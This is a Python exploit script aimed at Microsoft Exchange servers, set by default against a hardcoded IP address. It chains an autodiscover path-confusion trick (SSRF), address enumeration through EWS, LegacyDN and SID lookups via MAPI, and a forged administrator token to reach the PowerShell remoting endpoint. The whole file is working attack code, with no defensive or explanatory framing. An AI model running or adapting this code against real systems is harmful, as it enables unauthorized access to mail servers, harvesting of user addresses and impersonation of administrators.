import requests, base64, struct, re, sys, urllib3
urllib3.disable_warnings()
HOST = sys.argv[1] if len(sys.argv) > 1 else '169.239.112.165'
SCH  = sys.argv[2] if len(sys.argv) > 2 else 'https'
U = f'{SCH}://{HOST}'
UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36'
s = requests.Session(); s.verify = False

def post(endpoint, data, headers):
    if data:
        path = f"/autodiscover/autodiscover.json?@evil.corp{endpoint}&Email=autodiscover/autodiscover.json%3F@evil.corp"
    else:
        path = f"/autodiscover/autodiscover.json?@evil.corp{endpoint}?&Email=autodiscover/autodiscover.json%3F@evil.corp"
    return s.post(U + path, data=data, headers=headers, timeout=45)

def gen_token(email, sid, gsid='S-1-5-32-544'):
    version=0; ttype='Windows'; compressed=0; auth_type='Kerberos'; raw=b''
    raw += b'V' + (1).to_bytes(1,'little') + (version).to_bytes(1,'little')
    raw += b'T' + (len(ttype)).to_bytes(1,'little') + ttype.encode()
    raw += b'C' + (compressed).to_bytes(1,'little')
    raw += b'A' + (len(auth_type)).to_bytes(1,'little') + auth_type.encode()
    raw += b'L' + (len(email)).to_bytes(1,'little') + email.encode()
    raw += b'U' + (len(sid)).to_bytes(1,'little') + sid.encode()
    raw += b'G' + struct.pack('<II',1,7) + (len(gsid)).to_bytes(1,'little') + gsid.encode()
    raw += b'E' + struct.pack('>I',0)
    return base64.b64encode(raw).decode()

# 1) fqdn
try:
    e = "/autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp"
    r = s.get(U + e, verify=False, timeout=45)
    fqdn = r.headers.get('X-CalculatedBETarget')
    print('[1] fqdn GET', r.status_code, 'BETarget=', fqdn)
except Exception as ex:
    print('[1] EXC', repr(ex)); sys.exit(1)

# 2) ResolveNames
soap = ('<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
        'xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" '
        'xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" '
        'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
        '<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">'
        '<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry></m:ResolveNames></soap:Body></soap:Envelope>')
try:
    r = post('/EWS/exchange.asmx', soap, {'Content-Type':'text/xml'})
    emails = re.findall('(?:<t:EmailAddress>)(.+?)(?:</t:EmailAddress>)', r.text)
    print('[2] resolve', r.status_code, 'emails=', emails[:6])
except Exception as ex:
    print('[2] EXC', repr(ex)); sys.exit(1)

# 3) legacydn
email=None; legacydn=None
for em in emails:
    ap = ('<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">'
          '<Request><EMailAddress>{}</EMailAddress>'
          '<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>'
          '</Request></Autodiscover>').format(em)
    try:
        rr = post('/autodiscover/autodiscover.xml', ap, {'Content-Type':'text/xml'})
        if rr.status_code == 200 and 'Legacy' in rr.text:
            email = em
            legacydn = re.findall('(?:<LegacyDN>)(.+?)(?:</LegacyDN>)', rr.text)[0]
            break
    except Exception as ex:
        print('[3] EXC on', em, repr(ex))
print('[3] email=', email, 'legacydn=', legacydn)

# 4) sid
data = legacydn + '\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00'
h = {"X-Requesttype":'Connect', "X-Clientinfo":'{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}',
     "X-Clientapplication":'Outlook/15.0.4815.1002', "X-Requestid":'{C715155F-2BE8-44E0-BD34-2960067874C8}:2',
     'Content-Type':'application/mapi-http', "User-Agent":UA}
try:
    r = post('/mapi/emsmdb', data, h)
    sid = r.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
    print('[4] sid=', sid)
except Exception as ex:
    print('[4] EXC', repr(ex)); sys.exit(1)
admin_sid = sid.rsplit('-',1)[0]+'-500' if sid.rsplit('-',1)[1] != '500' else sid

# 5) powershell GET with token (multiple variants)
for tag, tok_sid, host_hdr in [('adminsid', admin_sid, None), ('usersid', sid, None), ('adminsid-fqdnhost', admin_sid, fqdn)]:
    tok = gen_token(email, tok_sid)
    url = U + '/autodiscover/autodiscover.json?@evil.corp/powershell/?X-Rps-CAT=' + tok + '&Email=autodiscover/autodiscover.json%3F@evil.corp'
    hh = {'Cookie':'PrivateComputer=true; ClientID=C715155F2BE844E0-BD342960067874C8; X-OWA-JS-PSD=1', 'User-Agent':UA}
    if host_hdr: hh['Host'] = host_hdr
    try:
        t = s.get(url, headers=hh, verify=False, timeout=45)
        print(f'[5:{tag}] GET ->', t.status_code, dict(t.headers))
        print('    body[:200]=', t.text[:200].replace('\n',' '))
    except Exception as ex:
        print(f'[5:{tag}] EXC', type(ex).__name__, repr(ex))
